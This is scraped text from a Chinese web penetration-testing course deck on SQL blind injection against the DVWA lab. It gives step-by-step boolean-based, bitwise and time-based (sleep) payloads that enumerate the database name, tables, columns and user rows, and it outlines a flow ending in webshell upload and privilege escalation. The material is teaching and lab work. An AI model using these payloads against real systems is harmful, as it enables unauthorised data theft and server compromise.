Web基础渗透与防护(第2版)课件 项目六SQL盲注攻击与防御_第1页
Web基础渗透与防护(第2版)课件 项目六SQL盲注攻击与防御_第2页
Web基础渗透与防护(第2版)课件 项目六SQL盲注攻击与防御_第3页
Web基础渗透与防护(第2版)课件 项目六SQL盲注攻击与防御_第4页
Web基础渗透与防护(第2版)课件 项目六SQL盲注攻击与防御_第5页
已阅读5页,还剩115页未读 继续免费阅读

下载本文档

版权说明:本文档由用户提供并上传,收益归属内容提供方,若内容存在侵权,请进行举报或认领

文档简介

项目六SQL盲注攻击与防御项目描述项目分析项目小结项目训练实训任务项目描述SVU 公司新开发了基于Web的用户管理系统,可以 使用用户 ID 查询用户是否存在,

渗透测试工程师小 D 负责测试该功能的安全,并提出针对性的加固方案。因此,小 D 需要了解 SQL 盲注入攻击的基础知‍识。本项目的具体要求如下:(1)测试盲注注入点类型;(2)测试 SQL 盲注绕过方法;(3)测试是否可以控制服务器;(4)针对测试结果,给出加固方‍案。

与上个项目相同,与后面的项目也差不多?不应该啊,每个项目的项目描述应有所区别

这两个项目都是SQL注入,只是返回信息不同,采取完全不同的注入方法项目分析SQL 盲注攻击是攻击者对数据库进行攻击的常用手段之一。防御的方法是降低数据库连接用户的权限,对需要执行的 SQL 命令进行严格的代码审计。针对上述情况,本项目的任务布置如下所‍示。项目目标(1)了解 SQL 盲注的基本原‍理。(2)掌握不同数据库的识别方法与原‍理。(3)掌握不同数据库的特‍点。(4)利用 SQL 盲注完成对 MySQL 数据库的渗透测‍试。(5)学会程序设计中防御 SQL 盲注攻击的基本方‍法。项目分析项目任务列表(1)利用简单的 SQL 盲注分析基于布尔值的字符注入原‍理。(2)利用简单的 SQL 盲注分析基于布尔值的字节注入原‍理。(3)利用 SQL 盲注分析基于时间的注入原‍理。(4)非文本框输入的基于布尔值的字符注‍入。(5)高等安全级别下基于布尔值的字符注‍入。(6)使用 BurpSuite 工具暴力破解 SQL 盲‍注。(7)SQL 盲注攻击防‍御。项目分析项目实施流程SQL注入攻击的典型流程如下,如下图4所示:(1)判断 Web 系统使用的脚本语言,发现注入点,并确定是否存在 SQL 盲注漏‍洞。(2)判断 Web 系统的数据库类‍型。(3)判断数据库中表及相应字段的结‍构。(4)构造注入语句,得到表中数据内‍容。(5)查找网站管理员后台,使用获取的管理员账号和密码登‍录。(6)结合其他漏洞,设法上传 Webshell。(7)进一步提权,得到服务器的系统权‍限。发现注入点数据库类型判断表结构判断获取数据获取账号上传Websehll提权图6-1SQL注入攻击典型流程项目分析项目相关知识点SQL盲注注入类型判断SQL注入与SQL盲注注入数据类型相同,都是两种类型:数值型与字符型。盲注与非盲注的不同在于不会返回具体数据,只返回数据是不是存在,我们简单称为正确(数据存在)或错误(数据不存在),需要通过数据是否正确来判断注入类型,在缺乏经验的条件下,需要仔细设计注入数据,通过注入数据与返回是否正确来推测注入类型。(1)、设计注入数据0与1-1,首选需要确定输入数字0时,返回错误。结合两个输入值来判断注入类型。如果1-1输入后返回错误,则说明注入类型为数值型,因数值可以做1-1的数值运算,结果为0;如果返回正确,则说明为字符型注入,因为将1-1作为字符串处理。(2)、使用0与1and1=2注入进行判断,首先确定输入0时为错误,如果输入1and1=2返回错误,则说明为数值型注入,做了数值运算;返回正确,则为字符型注入,作为字符串处理。项目分析(3)、使用1and1=1与1and1=2进行判断,如果返回值相同,则说明字符型注入,都作为字符串处理;如果返回值,不相同则为字符型注入,作了数值运算。(4)、使用1’and1=1#与1’and1=2#进行判断,如果返回值不相同,则说明为字符型注入作为字符串处理;返回值相同,则为数值型注入,都为非法数据,都多了一个单引号。SQL盲注数据库类型判断

在SQL注入章节中,对数据库类型判断,给出了详细判断方法,在本章节中

不在重复说明,结合SQL注入章节中对数据库类型的判断知识,对盲注数据库判断做进一步分析。

在具体分析前需要将SQL注入与SQL盲注的区别进行分析。在SQL注入中,如果注入数据合法,将会把数据显示出来,因此在构造过程中,是构造条件为真值,即使用“or”条件,或者是直接使用“union”联合查询将数据显示,作为判断依据。但是在SQL盲注中,针对输入的数据只有两种结果,正确或者错项目分析误。因此在构造过程中使用“and”条件,通过构造语句是否正确判断注入语句是否正确,进一步推测判断输入数据是否合理。

在进行数据库类型判断时,可以使用函数exists(),进行判断,存在返回真值1,不存在返回假值0。结合表5.1中的函数,再次将该表内容列出如表6.1所示,作为数据库类型判断的依据。使用注入语句“1'andexists(select@@version)#”,如果返回正确,则说明为数据库类型为MicrosoftSQLServer或者MySQL,使用注入语句“1'andexists(selectversion())#”,如果返回正确,则说明为MySQL;如果错误,则为MicrosoftSQLServer。还可以使用SQL注入章节中涉及到的其他函数作为判断依据。6.2项目分析表6-2在返回各种数据库服务器时对应的查询数据库服务器查询MicrosoftSQLServerSELECT@@versionMySQLSELECTversion()SELECT@@versionOracleSELECTbannerFROMv$versionSELECTbannerFROMv$versionWHERErownum=1PostgreSQLSELECTversion()项目分析mysql>

select

sleep(1);

+----------+

|

sleep(1)

|

+----------+

|

0

|

+----------+

1

row

in

set

(1.00

sec)

MySQL中执行sleep(n)用法Selectsleep(n)让此语句运行n秒钟:该语句返回给客户端的执行时间显示为等待了 1 秒。借助于 sleep(n)这个函数可以在 MySQLServer 的 processlist 中捕获到执行迅速、不易被查看到的语句,以确定程序是否确实在数据库服务器执行了该语句。例如,在调试时想确定程序是否向服务器发起了执行 SQL 语句的请求,可以通过执行 showprocesslist 或由 information_cesslist 表来查看语句是否出现。但往往语句执行速度非常快,很难通过上述方法确定语句是否真正被执行了。例如,下述语句的执行时间为 0.00 秒,线程信息一闪而过,根本无从察‍觉。项目分析mysql>

select

name

from

animals

where

name='tiger';

+-------+

|

name

|

+-------+

这|

tiger

|

+-------+

1

row

in

set

(0.00

sec)

在这种情况下,可以通过在语句中添加一个sleep(N)函数,强制让语句停留N秒钟,来查看后台线程,例如:mysql>

select

sleep(1),name

from

animals

where

name='tiger';

+----------+-------+

|

sleep(1)

|

name

|

+----------+-------+

|

0

|

tiger

|

+----------+-------+

1

row

in

set

(1.00

sec)

项目分析同样的条件该语句返回的执行时间为1.0秒。但是使用这个办法是有前提条件的,也只指定条件的记录存在时才会停止指定的秒数,例如查询条件为name='pig',结果表明记录不存在,执行时间为0mysql>

select

name

from

animals

where

name='pig';

Empty

set

(0.00

sec)

在这样一种条件下,即使添加了sleep(N)这个函数,语句的执行还是会一闪而过,例如:[sql]

viewplain

copymysql>

select

sleep(1),name

from

animals

where

name='pig';

Empty

set

(0.00

sec)另外需要注意的是,添加sleep(N)这个函数后,语句的执行具体会停留多长时间取决于满足条件的记录数,MySQL会对每条满足条件的记录停留N秒钟。项目分析例如,namelike'%ger'的记录有 3 条:mysql>

select

name

from

animals

where

name

like

'%ger';+-------+

|

name

|

+-------+

|

ger

|

|

iger

|

|

tiger

|

+-------+

3

rows

in

set

(0.00

sec)

那么针对该语句添加了sleep(1)这个函数后语句总的执行时间为3.01秒,可得出,MySQL对每条满足条件的记录停留了1秒中。mysql>

select

sleep(1),name

from

animals

where

name

like

'%ger';

+----------+-------+

|

sleep(1)

|

name

|

+----------+-------+

|

0

|

ger

|

|

0

|

iger

|

|

0

|

tiger

|

+----------+-------+

3

rows

in

set

(3.01

sec)

项目小结

通过前一节的项目分析我们介绍了SQL盲注实施攻击的步骤和原理。SQL盲注的本质是恶意攻击者将SQL代码插入或添加到程序的参数中,而程序并没有对传入的参数进行正确处理,导致参数中的数据会被当做代码来执行,并最终将执行结果返回给攻击者。

利用SQL盲注漏洞,攻击者可以操纵数据库的数据,如得到数据库中的机密数据、随意更改数据库中的数据、删除数据库等等,在得到一定权限后还可以挂马,甚至得到整台服务器的管理员权限。由于SQL盲注是通过网站正常端口(通常为80端口)来提交恶意SQL语句,表面上看起来和正常访问网站没有区别,如果不仔细查看WEB日志很难发现此类攻击,隐蔽性非常高。一旦程序出现SQL盲注漏洞,危害相当大,所以我们对此应该给予足够的重视。本项目完成后,需要提交项目总结内容清单如下表所示:项目小结表6-3项目提交清单内容序号清单项名称备注1项目准备说明包括人员分工、实验环境搭建、材料工具等,2项目需求分析内容包括介绍SQL盲注攻击的主要步骤和一般流程;分析SQL盲注攻击的主要原理、常见攻击工具的分类和特点。3项目实施过程内容包括实施过程,具体配置步骤4项目结果展示内容包括对目标系统实施SQL盲注攻击和加固的结果,可以以截图或录屏的方式提供项目结果。6.1实验环境本章节中的所有实验环境都是安装在winxp虚拟机中,在虚拟机中使用的实验环境为DVWA实验环境,使用python-2.7、DVWA-1.9、xampp-win32-1.8.0-VC9-installer三个软件搭建。使用到了中国菜刀、Burpsuit工具。Burpsuit运行环境需要安装jre,工具为:burpsuite_pro_v1.7.03、jre-8u111-windows-i586_8.0.1110.14、Firefox_152_setup。在本章节命令注入实验中使用物理机作为攻击机,虚拟机作为靶机。1、打开靶机虚拟机,在虚拟机中打开桌面上的xampp程序确保Apache服务器与数据库MySQL处于运行状态,如下图所示:6.2基于布尔值的字符注入图6-2靶机运行状态6.2基于布尔值的字符注入2、查看靶机服务器ip地址,在运行中运行cmd开启msdos窗口,在dos中运行ipconfig,查看当前服务器的ip地址,如下图所示:图6-3查看靶机ip地址6.2基于布尔值的字符注入3、在攻击机中打开浏览器输入靶机的ip地址,因为我们是在DVWA平台中进行渗透测试,因此完整的路径为靶机ip地址+dvwa,具体为31/dvwa/login.php,在渗透平台中需要使用用户名与密码登录,默认账号为用户名:admin;密码:password。如下图所示:图6-4登录DVWA平台6.2基于布尔值的字符注入4、登录 DVWA 平台后可以看到如图 6-5 所示的设置安全级别界面,在左侧列表中选择“DVWASecurity”选项,本实验主要利用 SQL 盲注渗透分析漏洞原理,因此设置安全级别为“Low”,然后单击“Submit”按‍钮。图6-5DVWASecurity安全级别设置6.2基于布尔值的字符注入5、在如图 6-5 所示的界面中,选择左侧列表中的“SQLInjection(Blind)”选项,进行 SQL 盲注实验。在图 6-6 所示的实验环境中,输入正确的数据。根据提示,需要输入 UserID,在文本框中输入数字“1”,然后单击“Submit”按钮,返回结果如图 6-6 所‍示。图6-6正确输入返回值6.2基于布尔值的字符注入6、由上图知,在输入正确数据返回值为“UserIDexistsinthedatabase.”后面简称为“正确”。输入错误数据查看返回值为“UserIDisMISSINGfromthedatabase”后面简称为“错误”。输入“0、m、100”结果如下图所示:图6-7错误返回数据6.2基于布尔值的字符注入7、下面对是否存在注入漏洞进行判断。使用注入语句“1or1=1”与“1'or1=1#”,进行注入漏洞判断,返回结果如图 6-10 所示。对于注入的两条语句,返回结果都正确,所以可以判断存在注入漏‍洞。图6-8注入漏洞判断6.2基于布尔值的字符注入8、下面对注入类型进行判断。在此使用“0”与“1-1”进行判断。使用“1and1=2”进行注入类型验证,由返回结果可以得出,注入类型为字符型注入(如图 6-11 和图 6-12 所‍示)。图6-9注入类型判断6.2基于布尔值的字符注入9、对数据库类型进行判断,使用注入语句“1'andexists(select@@version)#”与“1'andexists(selectversion())#”,返回结果分别如图 6-13 和图 6-14 所示,由结果可以判断为 MySQL 数据库。图6-10数据库类型判断6.2基于布尔值的字符注入10、通过前面的测试与信息收集,可以确定存在SQL盲注漏洞且为字符型注入漏洞、数据库类型为MySQL数据库。下面可以针对性对数据库进行注入,针对SQL盲注分为基于布尔的盲注、基于时间的盲注。针对数据不同处理方法分为ASCII注入、字节注入,结合前面的类型,存在四中不同的注入方法,基于布尔的ASCII注入、基于布尔的字节注入、基于时间的ASCII注入、基于时间的字节注入。下面采用基于布尔的ASCII注入方法,完成SQL盲注。11、使用database()函数获取当前数据库,因是盲注,只返回正确与错误,无法将具体值返回显示,因此需要做较详细的判断,首先在使用database()函数获取到数据库名称后,需要判断出该名称的长度与名称字符组成。使用注入语句“1'andlength(database())=1#”做判断,显示结果如下图所示,可以看到为错误,所以判断长度不为1,继续将1替换为2、3、4等值作为注入,在注入过程中发现,当注入语句为“1'andlength(database())=4#”时返回值为正确,所以可以判断数据库长度为4。因SQL盲注返回结果比较单一,只有两个值“正确”、“错误”,后面实验中不再截图作为演示。6.2基于布尔值的字符注入图6-11数据库名称长度判断6.2基于布尔值的字符注入12、分析数据库名称字符组成,需要将数据库名称中的 4 个字符逐一判断出来。本实验使用 ASCII 码进行判断,需要知道大写字符与小写字符的 ASCII 码值。大写字符 A~Z 的 ASCII 码值为 65~90,小写字符 a~z 的 ASCII 码值为 97~122。需要判断出每个字符的 ASCII 码值,然后对照 ASCII 码表,获取每个字符。在进行字符判断时通常使用二分法,这样可以减少判断次数,不需要对逐个值进行判断。以一个小写字符为例,逐一比较,最多需要比较 26 次;采用二分法,最多需要比较 5 次。下面采用二分法获取字符如‍下:

第一个字符区分是大写还是小写:1'andascii(substr(database(),1,1))>97#,返回正确,可以断定为小写字符,1'andascii(substr(database(),1,1))>109#,返回错误,可以判断在98-109之间。使用1'andascii(substr(database(),1,1))>103#,返回错误,判断值在98-103之前。使用1'andascii(substr(database(),1,1))>100#,返回错误,判断在98-100之间。使用1'andascii(substr(database(),1,1))>99#,返回正确,值大于99正确,大于100错误,所以值为大于99,小于等于100,因都是整数值,6.2基于布尔值的字符注入所以值为100,对应ASCII码表,确定第一个字符为“d”。使用相同的测试方法,获取其他字符,可以获取到数据库名为“dvwa”。函数substr(字符串,n,m),在该函数中,n字符串起始位置,m为取字符个数,例如上面函数中n、m都为1,表示从第一个字符开始取一个字符,即取第一个字符。将substr(字符串,n,m)中n值由1到4,m值为1不变,使用1'andascii(substr(database(),2,1))>97#,进行注入,可以猜测到数据库完整名称为“dvwa”。13、猜测到数据库名称后,要将数据库中的数据猜测出来,首先需要猜测收集数据库中有多少个表。使用“1'and(selectcount(table_name)frominformation_schema.tableswheretable_schema=database())=1#”进行注入,如果返回为错误,则有多于一个表,经过测试发现当“1'and(selectcount(table_name)frominformation_schema.tableswheretable_schema=database())=2#”时返回正确,可以得到dvwa数据库中有两个数据表。6.2基于布尔值的字符注入14、要获取数据库中的数据,还需要收集表名、表中列字段的个数和列‍名。

已知数据库中有两个数据表,下面以第一个数据表为例,进行下一步的数据注入。要获取表名,需要知道表名中有几个字符,因此首先判断第一个表的名称长度,使用注入语句“1‘andlength(substr((selecttable_namefrominformation_schema.tableswheretable_schema=database()limit0,1),1))=1#”,返回错误,直到等号后面的值从 1 变为 9 时,返回正确,说明表的名称长度为 9。这里使用了 limit 关键字返回筛选数据的行数,“limitm,n”表示从第

m(m 从最小值 0 开始)行开始取

n 行数据,“limit0,1”表示从第一行(0)开始取一行数据,即将筛选数据中的第一行返回。经过测试得到两个表名长度分别为 9 和 5。6.2基于布尔值的字符注入15、获取到数据表长度后,需要测试获取数据表的名称,使用注入语句“1'andascii(substr((selecttable_namefrominformation_schema.tableswheretable_schema=database()limit0,1),1,1))>97#”,获取第一个表中的第一个字符,并将字符值转换为对应的ASCII码值,使用二分方法判断值为多少,(参照任务1中12步骤)使用二分法逐一获取到两个表名的所有字符,分别为“guestbook、users”。16、获取到表名后,需要获取列的信息,包括列字段个数,每个列字段长度,以及每个列字段的每个字符。使用注入语句“1'and(selectcount(column_name)frominformation_schema.columnswheretable_name='users')=1#”,猜测users表中列字段个数,将等号后数字1,从1到8,当值为8时,返回值为正确,所以确定users表中有八个列字段。17、获取users表中的第一个列字段,判断第一个列字段的长度,使用注入语句“1'andlength(substr((selectcolumn_namefrominformation_schema.columnswheretable_name='users'limit0,1),1))=1#”,返回错误,当值从1到7,当值为7时返回正确,可以确定第一列长度为7,逐一判断8个列字段长度,分别为“7、10、9、4、8、6、10、12”。6.2基于布尔值的字符注入18、采用二分法逐一判断列字段中的每一个字符,以第一列字段为例,使用注入语句“1'andascii(substr((selectcolumn_namefrominformation_schema.columnswheretable_name='users'limit0,1),1,1))>1#”,逐一判断,可以确定users表8个列字段,分别为“user_id、first_name、last_name、user、password、avatar、last_login、failed_login”。19、现在可以使用列字段名称,读取表中数据,以users表中user列为例,使用注入语句“1'and(selectcount(user)fromusers)=1#”,对表中行数进行统计。值从1到6逐一判断,当值为6时,返回值为正确,可以判断,表中行数为6行。20、判断users表中user列,第一行数据的长度,使用注入语句“1'andlength(substr((selectuserfromuserslimit0,1),1))=1#”,返回错误,当值从1到5逐一判断,当值为5时,返回正确,则users表中user列中第一行数据长度为5。6.2基于布尔值的字符注入21、下面分析上述 5 个字符分别是什么,使用注入语句“1'andascii(substr((selectuserfromuserslimit0,1),1,1))>97#”,采用二分法逐一获取每个字符,可以得到第一行数据为“admin”。22、继续按照步骤(19)~(20)操作,获取 users 表中的所有数‍据。任务2利用简单的SQL盲注分析基于布尔的字节注入原理

基于字节注入,需要知道计算机在存储中,英文字符使用一个字节,存储一个汉字为两个字节进行存储,假设实验中数据都为英文字符,因此只需要处理一个字节的数据即可。一个字节是有八个比特位组成,比特位从高位到低位每一位代表的十进制数据如下表所示。6.3基于布尔值的字节注入任务2利用简单的SQL盲注分析基于布尔的字节注入原理在计算机中,英文字符使用 1 字节存储,汉字使用 2 字节存储。假设本实验中的数据都为英文字符,因此只需要处理 1 字节数据。1 字节由 8 个二进制位组成,字节二进制位对应的十进制数据见表 6-2。6.3基于布尔值的字节注入表6-4字节位数的值字节二进制位十进制数据10000000128010000006400100000320001000016000010008000001004000000102000000011

将一个字节分别与上面表中的八个二进制位进行位“&”运算(如下表所示),即可将一个字节的每一位取出来。由表6-5知,两个数做&运算,当两个值都为1时为1,其他时候值为0。当一个值为1或0,与1做&运算还是1或0,还是原来的数值,保持不变。当一个值为1或0,与一个值0做&运算,结果都为0。6.3基于布尔值的字节注入表6-5&运算数1数2&结果111100010000运用&运算的特性,可以将每一个位取出,例如一个二进制位“10011100”与表6-4中的八个二进制位做&运算,结果如下表。6.3基于布尔值的字节注入表6-6取每一位值字节二进制位固定字节&结果十进制数值逻辑值1000000010011100100000001281(真值)01000000100111000000000000(假值)00100000100111000000000000(假值)000100001001110000010000161(真值)00001000100111000000100081(真值)00000100100111000000010041(真值)00000010100111000000000000(假值)00000001100111000000000000(假值)

由上表可知,做&算后会返回每一位的值,使用基于字节的注入方法,优点是每一个字符的判断只需要运行八次就可做准确判断。缺点是每一个字符最少也要做八次判断。采用二分法128个字符,最多需要2n>=128,即n为7,最多需要7次。重复任务1的步骤只是注入语句发生变化,在该任务中,简单描述注入语句与注入结果。6.3基于布尔值的字节注入1、测试判断数据库长度,注入语句为:1'andascii(length(database()))&128=128# 错误1'andascii(length(database()))&64=64# 错误1'andascii(length(database()))&32=32# 正确1'andascii(length(database()))&16=16# 正确1'andascii(length(database()))&8=8# 错误1'andascii(length(database()))&4=4# 正确1'andascii(length(database()))&2=2# 错误1'andascii(length(database()))&1=1# 错误由上面的逻辑值可知,二进制位为“00110100”转换为十进制为“52”,在ASCII码表中,十进制值为52的字符为数字4,所以数据库名长度为4。2、数据库名每一个字符的判断,使用注入语句“1'andascii(substr(database(),1,1))&128=128#”,等号两侧的值由128,替换为“64、32、16、8、4、2、1”,逐一判断每个字节的值。如下所示,有逻辑值可知,二进制位“01100100”,十进制数值为“100”,对应ASCII码表中字符“d”。6.3基于布尔值的字节注入1'andascii(substr(database(),1,1))&128=128# 错误1'andascii(substr(database(),1,1))&64=64# 正确1'andascii(substr(database(),1,1))&32=32# 正确1'andascii(substr(database(),1,1))&16=16# 错误1'andascii(substr(database(),1,1))&8=8# 错误1'andascii(substr(database(),1,1))&4=4# 正确1'andascii(substr(database(),1,1))&2=2# 错误1'andascii(substr(database(),1,1))&1=1# 错误3、数据表个数判断,注入语句为“1'andascii(selectcount(table_name)frominformation_schema.tableswheretable_schema=database())&128=128#”,等号两侧的值由128,替换为“64、32、16、8、4、2、1”,逐一判断每个字节的值。4、第一个数据表中,表名长度判断,注入语句为“1'andascii(length(substr(selecttable_namefrominformation_schema.tableswheretable_schema=database()limit0,1),1))&128=128#”,等号两侧的值由128,替换为“64、32、16、8、4、2、1”,逐一判断每个字节的值。6.3基于布尔值的字节注入5、第一个表的表名第一个字符,注入语句为“1'andascii(substr((selecttable_namefrominformation_schema.tableswheretable_schema=database()limit0,1),1,1))&128=128#”,等号两侧的值由128,替换为“64、32、16、8、4、2、1”,逐一判断每个字节的值。6、第一个表中列字段个数,注入语句为“1'andascii(selectcount(column_name)frominformation_schema.columnswheretable_name='guestbook')&128=128#”,等号两侧的值由128,替换为“64、32、16、8、4、2、1”,逐一判断每个字节的值。7、第一个表中第一个列字段长度,注入语句“1'andascii(length(substr((selectcolumn_namefrominformation_schema.columnswheretable_name='guestbook'limit0,1),1)))&128=128#”,等号两侧的值由128,替换为“64、32、16、8、4、2、1”,逐一判断每个字节的值。6.3基于布尔值的字节注入

8、第一个表中第一个列字段第一个字符的注入,语句为“1'andascii(substr((selectcolumn_namefrominformation_schema.columnswheretable_name='guestbook'limit0,1),1,1))&128=128#”,等号两侧的值由128,替换为“64、32、16、8、4、2、1”,逐一判断每个字节的值。

9、以users表中,user列为例,读取该列数据,获取该列数据行数,注入语句为“1'andascii(selectcount(user)fromusers)&128=128#”,等号两侧的值由128,替换为“64、32、16、8、4、2、1”,逐一判断每个字节的值。10、users表中,user列,第一行数据长度。注入语句为“1'andascii(substr((selectuserfromuserslimit0,1),1))&128=128#”,等号两侧的值由128,替换为“64、32、16、8、4、2、1”,逐一判断每个字节的值。11、users表中,user列,第一行数据的第一个字符注入语句为“1'andascii(substr((selectuserfromuserslimit0,1),1,1))&128=128#”,等号两侧的值由128,替换为“64、32、16、8、4、2、1”,逐一判断每个字节的值。6.4基于时间的注入任务3利用SQL盲注分析基于时间注入原理

在该任务中分析基于时间盲注的基本原理。使用函数sleep(n),函数被正确执行,会让进程延迟n秒。在该任务中将基于字符型与基于字节的两种注入方法,都给出简单的分析。在使用sleep(n)函数时,需要留意是否发生延迟,对于执行结束后的返回值并不重要,这是因为该函数被执行,返回值为“0”。使用注入语句“1'unionselect1,sleep(5)#”,在前一章节SQL注入环境中,查看运行结果,在执行过程中明显觉察到时间延迟,返回值如下图所示,在黑色直线标记处,可以看到返回值为“0”图6-12查看sleep()返回值6.4基于时间的注入1、不同数据库类型具有不同的时间延迟函数,例如下表所示,在使用下列一系列函数中,可以同时判断数据库类型与注入类型。表6-7延迟函数MySQLSleep()PostgreSQLSleep()(低于或者等于8.1版本)Pg_sleep(高于或者等于8.2版本)SQLServerWAITFORDELAYOracleDBMS_LOCK.SLEEP()2、判断注入类型,使用注入语句“1andsleep(5)”与“1'andsleep(5)#”,返回结果如下图所示。在执行“1andsleep(5)”注入语句时,没有感觉到时间延迟,即时间延迟函数没有被执行,通过分析下图返回值可以知道,注入语句作为字符串处理。使用注入语句“1'andsleep(5)#”,可以明显感觉到时间延迟,可以判断时间延迟函数被执行。通过前面分析知道sleep()函数执行后返回“0”,与0做and运算,结果仍然为0,即假值,所以返回结果为错误,如下图所示。6.4基于时间的注入图6-13注入类型判断

3、猜解数据库名称,需要猜解数据库中每个字符,因此需要首先猜解数据库名称字符长度,使用注入语句“1'andif(length(database())=1,sleep(5),1)#”,查看在运行过程中有没有时间延迟。在注入语句运行过程中,没有觉察到时间延迟。上述注入语句,使用了条件判断语句“if(表达式,条件1,条件2)”,在判断语句中,如果表达式成立,则执行条件1,如果表达式不成立,则执行条件2。在注入语句“1'and6.4基于时间的注入if(length(database())=1,sleep(5),1)#”运行过程中,没有时间延迟,即sleep()函数没有被执行,而是执行了“1”,即length(database())=1不成立,即数据库名称长度不为1。运行结果如下图所示:图6-14数据库长度注入返回值16.4基于时间的注入由上面返回结果分析,注入语句“1'andif(length(database())=1,sleep(5),1)#”被执行,且以真值执行,通过上面分析if条件判断语句中执行了“1”,所以注入语句等价于“1'and1#”为真值,所以返回上图返回值。可以判断,只要sleep()函数不被执行,相似语句都返回上图所示返回值,因此该任务中后续实验步骤不再以图片形式显示执行结果,而以是否有时间延迟作为分析结果。为了猜解出数据库名称长度,使用下面注入语句继续猜解:1'andif(length(database())=2,sleep(5),1)#没有时间延迟1'andif(length(database())=3,sleep(5),1)#没有时间延迟1'andif(length(database())=4,sleep(5),1)#有时间延迟在上面第三条语句注入运行时,发生时间延迟,可以判断sleep()函数被执行,即表达式“length(database())=4”成立,数据库长度为“4”。Sleep()函数被执行,返回“0”,因此注入语句等价于“1'and0#”为假值,返回结果如下图所示6.4基于时间的注入图6-15数据库长度注入返回值2

4、前面分析可以得到,数据库名称长度为4。接着逐一使用二分法猜测数据库名称的四个字符,第一个字符使用下面注入语句。1'andif(ascii(substr(database(),1,1))>97,sleep(5),1)#有时间延迟1'andif(ascii(substr(database(),1,1))>109,sleep(5),1)#没有时间延迟1'andif(ascii(substr(database(),1,1))>103,sleep(5),1)#没有时间延迟1'andif(ascii(substr(database(),1,1))>100,sleep(5),1)#没有时间延迟1'andif(ascii(substr(database(),1,1))>99,sleep(5),1)#有时间延迟6.4基于时间的注入

通过上面五条注入语句,进行分析,第一条有时间延迟,则字符ASCII值大于97成立;第二条语句没有时间延迟,则字符ASCII值大于109不成立,则应小于等于109;第三条语句没有时间延迟,则字符ASCII值大于103不成立,则应小于等于103;第四条语句没有时间延迟,则字符ASCII值大于100不成立,则应小于等于100;第五条有时间延迟,则字符ASCII值大于99成立。字符ASCII值为整数值,且大于99小于等于100,则值为100,在ASCII码表中,值为100为字符“d”。使用同样的方法可以将其他三个字符猜解出来,即数据库名称为“dvwa”。5、猜解数据库dvwa中有几个数据表,使用下列注入语句与是否有时间延迟:1'andif((selectcount(table_name)frominformation_schema.tableswheretable_schema=database())=1,sleep(5),1)#没有时间延迟1'andif((selectcount(table_name)frominformation_schema.tableswheretable_schema=database())=2,sleep(5),1)#有时间延迟

分析上面两条注入语句,猜解到数据库中有两个数据表。6.4基于时间的注入

6、逐一猜解数据库中数据表的表名,需要逐一猜解到数据表名的字符长度,以第一个数据表为例,使用下面注入语句与是否有时间延迟。1'andif(length(substr((selecttable_namefrominformation_schema.tableswheretable_schema=database()limit0,1),1))=1,sleep(5),1)#无时间延迟1'andif(length(substr((selecttable_namefrominformation_schema.tableswheretable_schema=database()limit0,1),1))=2,sleep(5),1)#无时间延迟1'andif(length(substr((selecttable_namefrominformation_schema.tableswheretable_schema=database()limit0,1),1))=3,sleep(5),1)#无时间延迟1'andif(length(substr((selecttable_namefrominformation_schema.tableswheretable_schema=database()limit0,1),1))=4,sleep(5),1)#无时间延迟1'andif(length(substr((selecttable_namefrominformation_schema.tableswheretable_schema=database()limit0,1),1))=5,sleep(5),1)#无时间延迟6.4基于时间的注入1'andif(length(substr((selecttable_namefrominformation_schema.tableswheretable_schema=database()limit0,1),1))=6,sleep(5),1)#无时间延迟1‘andif(length(substr((selecttable_namefrominformation_schema.tableswheretable_schema=database()limit0,1),1))=7,sleep(5),1)#无时间延迟1'andif(length(substr((selecttable_namefrominformation_schema.tableswheretable_schema=database()limit0,1),1))=8,sleep(5),1)#无时间延迟1'andif(length(substr((selecttable_namefrominformation_schema.tableswheretable_schema=database()limit0,1),1))=9,sleep(5),1)#有时间延迟

由上面注入语句与时间延迟情况,分析得到第一个数据表的名称长度为9。6.4基于时间的注入7、猜解第一个表名的第一个字符,使用注入语句“1'andif(ascii(substr((selecttable_namefrominformation_schema.tableswheretable_schema=database()limit0,1),1,1))>97,sleep(5),1)#”,没有时间延迟,使用二分法猜解,得到ASCII值为103,字符为“g”。使用上述注入语句可以猜解到两个数据表为“guestbook、users”。8、猜解列字段,首先需要猜解每个表中的列字段个数,以数据表users为例,使用注入语句“1'andif((selectcount(column_name)frominformation_schema.columnswheretable_name='users')=1,sleep(5),1)#”,无时间延迟,当值从1逐步输入到8时,有时间延迟,则users表中有8个列字段。9、猜解第一个列字段的字符长度,使用注入语句“1'andif(length(substr((selectcolumn_namefrominformation_schema.columnswheretable_name='users'limit0,1),1))=1,sleep(5),1)#”,无时间延迟,当值从1逐步输入到7时,有时间延迟,则第一个列字段长度为7。6.4基于时间的注入10、猜解第一个列字段中第一个字符,使用注入语句“1'andif(ascii(substr((selectcolumn_namefrominformation_schema.columnswheretable_name='users'limit0,1),1,1))>97,sleep(5),1)#”,无时间延迟,采用二分法得到ASCII值为117,字符为“u”,使用上面注入语句可以猜解到表中所有列的名称“user_id、first_name、last_name、user、password、avatar、last_login、failed_login”。11、现在可以使用列字段名称,读取表中数据,以users表中user列为例,使用注入语句“1'andif((selectcount(user)fromusers)=1,sleep(5),1)#”,对表中行数进行统计。值从1到6逐一判断,当值为6时,有时间延迟,可以判断,表中行数为6行。12、判断users表中user列,第一行数据的长度,使用注入语句“1'andif(length(substr((selectuserfromuserslimit0,1),1))=1,sleep(5),1)#”,无时间延迟,当值从1到5逐一判断,当值为5时,有时间延迟,则users表中user列中第一行数据长度为5。6.4基于时间的注入13、测试分析获取上面分析得到的五个字符分别是什么,使用注入语句“1'andif(ascii(substr((selectuserfromuserslimit0,1),1,1))>97,sleep(5),1)#”采用二分法逐一判断,测试获取每个字符,可以得到第一行数据为“admin”。14、实验可以继续使用11-13步骤,将users表中的所有数据测试分析获取到,完成暴库。前面实验是基于时间的字符型注入方法,在注入方法中,还有一种是基于字节注入,下面简单介绍一下基于时间的字节型注入方法。基于字节的基本原理在任务2中已经做了详细分析,在此不再重复。具体操作如下:6.4基于时间的注入1、猜解数据库名字节长度,使用注入语1'andif(ascii(length(database()))&128=128,sleep(5),1)# 无时间延迟1'andif(ascii(length(database()))&64=64,sleep(5),1)# 无时间延迟1'andif(ascii(length(database()))&32=32,sleep(5),1)# 有时间延迟1'andif(ascii(length(database()))&16=16,sleep(5),1)# 有时间延迟1'andif(ascii(length(database()))&8=8,sleep(5),1)# 无时间延迟1'andif(ascii(length(database()))&4=4,sleep(5),1)# 有时间延迟1'andif(ascii(length(database()))&2=2,sleep(5),1)# 无时间延迟6.4基于时间的注入1'andif(ascii(length(database()))&1=1,sleep(5),1)# 